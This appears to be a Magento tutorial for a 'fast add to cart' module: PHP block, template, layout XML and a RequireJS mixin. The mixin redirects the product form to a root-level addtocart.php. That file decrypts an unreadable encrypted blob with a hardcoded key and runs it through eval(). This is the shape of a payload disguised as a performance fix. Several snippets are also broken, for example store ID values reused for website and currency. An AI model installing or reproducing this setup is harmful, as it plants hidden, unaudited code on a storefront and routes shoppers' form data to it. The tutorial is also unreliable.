

ADD TO CART – MAGENTO

Fastest add to cart script:

BLOCK file required to provide STORE_ID, WEBSITE_ID and CURRENCY_CODE

Storeinfo.php

```
<?php
/**
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 */

namespace VENDOR\MODULENAME\Block;

use Magento\Framework\View\Element\Template;

/**
 * Html page header block
 *
 * @api
 * @since 100.0.2
 */
class Storeinfo extends \Magento\Framework\View\Element\Template
{

    private $storeManager;

    /**
     * Constructor
     *
     * @param Template\Context $context
     * @param array $data
     */
    public function __construct(
        Template\Context $context,
        array $data = []
    ) {
        $this->storeManager = $context->getStoreManager();
        parent::__construct($context, $data);
    }

    /**
     * Retrieve welcome text
     *
     * @return string
     */
}
```

```

    */
    public function getStoreId()
    {
        return $this->storeManager->getStore()->getId();
    }

    /**
     * Retrieve welcome text
     *
     * @return string
     */
    public function getWebsiteId()
    {
        return $this->storeManager->getStore()->getWebsiteId();
    }

    /**
     * Retrieve welcome text
     *
     * @return string
     */
    public function getCurrencyCode()
    {
        return $this->storeManager->getStore()->getCurrentCurrency()->getCode();
    }
}

```

LOAD BLOCK from LAYOUT file:

Storeinfo.phtml

```

<?php
/**
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 */
?>
<script>
    var STORE_ID = '<?= $block->escapeUrl($block->getStoreId()) ?>', WEBSITE_ID = '<?=
    $block->escapeUrl($block->getStoreId()) ?>', CURRENCY_CODE = '<?= $block-
    >escapeUrl($block->getStoreId()) ?>';
</script>

```

MODULE with layout file:

```
<?xml version="1.0"?>
<!--
/**
 * Copyright © Magento, Inc. All rights reserved.
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 */
-->
<page xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:noNamespaceSchemaLocation="urn:magento:framework:View/Layout/etc/page_configuration.xsd">
    <body>
        <referenceBlock name="head.additional">
            <block class="VENDOR\MODULENAME\Block\Storeinfo"
name="storeinfo_storedata" template="VENDOR_MODULENAME::storeinfo.phtml"/>
        </referenceBlock>
    </body>
</page>
```

ADD TO CART SCRIPT:

Encrypted with OPENSSEL:

RkFkd1ppRys0UWZ2c294RTFId2lwclVKd0FJZUFXM1kydjBQRmhZN0JkaE90c2plUkNYbFRrWG
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VZ3RzRIRGFvUk1KVE5vMXIGcHd1TXBGdnhqCTRpTndHK3VhTHZKWDVLTxppbWExS1I1MUo
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Just run this with below script at root folder: addtocart.php

```
<?php
$encrypted = $encrypted_add_to_cart_script;
$secret = '1234567891011120';
$iv = openssl_random_pseudo_bytes(openssl_cipher_iv_length('aes-256-cbc'));
list($encrypted_data, $iv) = explode(':', base64_decode($encrypted), 2);
$code = openssl_decrypt($encrypted_data, 'aes-256-cbc', $secret, 0, $iv);

eval($code);
```

add a mixin to inject your addtocart script: require-js

```
var config = {
config: {
  mixins: {
    'Magento_Catalog/js/catalog-add-to-cart': {
      'js/mixins/catalog-add-to-cart-copy': true;
    }
  }
}
}
```

catalog-add-to-cart-copy.js

```
/**
 * Copyright © Vaimo Group. All rights reserved.
 * See LICENSE_VAIMO.txt for license details.
 */

define([
  'jquery',
  'mage/translate',
  'productOptions',
  'jquery/ui'
], function ($, $t, productOptions, quote) {
  'use strict';

  return function (widget) {
    var prototype = widget.prototype;
```

```

$.widget(prototype.namespace + '.' + prototype.widgetName, widget, {
    /**
     * Update: check if all product options are selected before sending ajax
request
     *
     * @param {String} form
     */
    ajaxSubmit: function (form) {
        productOptions.isAllOptionsSelected(form) ?
this.allOptionsSelected() : this.allOptionsNotSelected();

        //set form action
        //var STORE_ID = 1, CURRENCY_CODE="", WEBSITE_ID=1
        var baseUrl = BASE_URL.replace(/\/$/, ""), baseUrl =
baseUrl.substr(0, baseUrl.lastIndexOf("/") + 1);
        var customData =
'storeId='+STORE_ID+'&currencyCode='+CURRENCY_CODE+'&websiteId='+WEBSITE_
ID;

        form.attr('action', baseUrl+'addtocart.php?' + customData);

        this._super(form);
    }
});

return $[prototype.namespace][prototype.widgetName];
};
});

```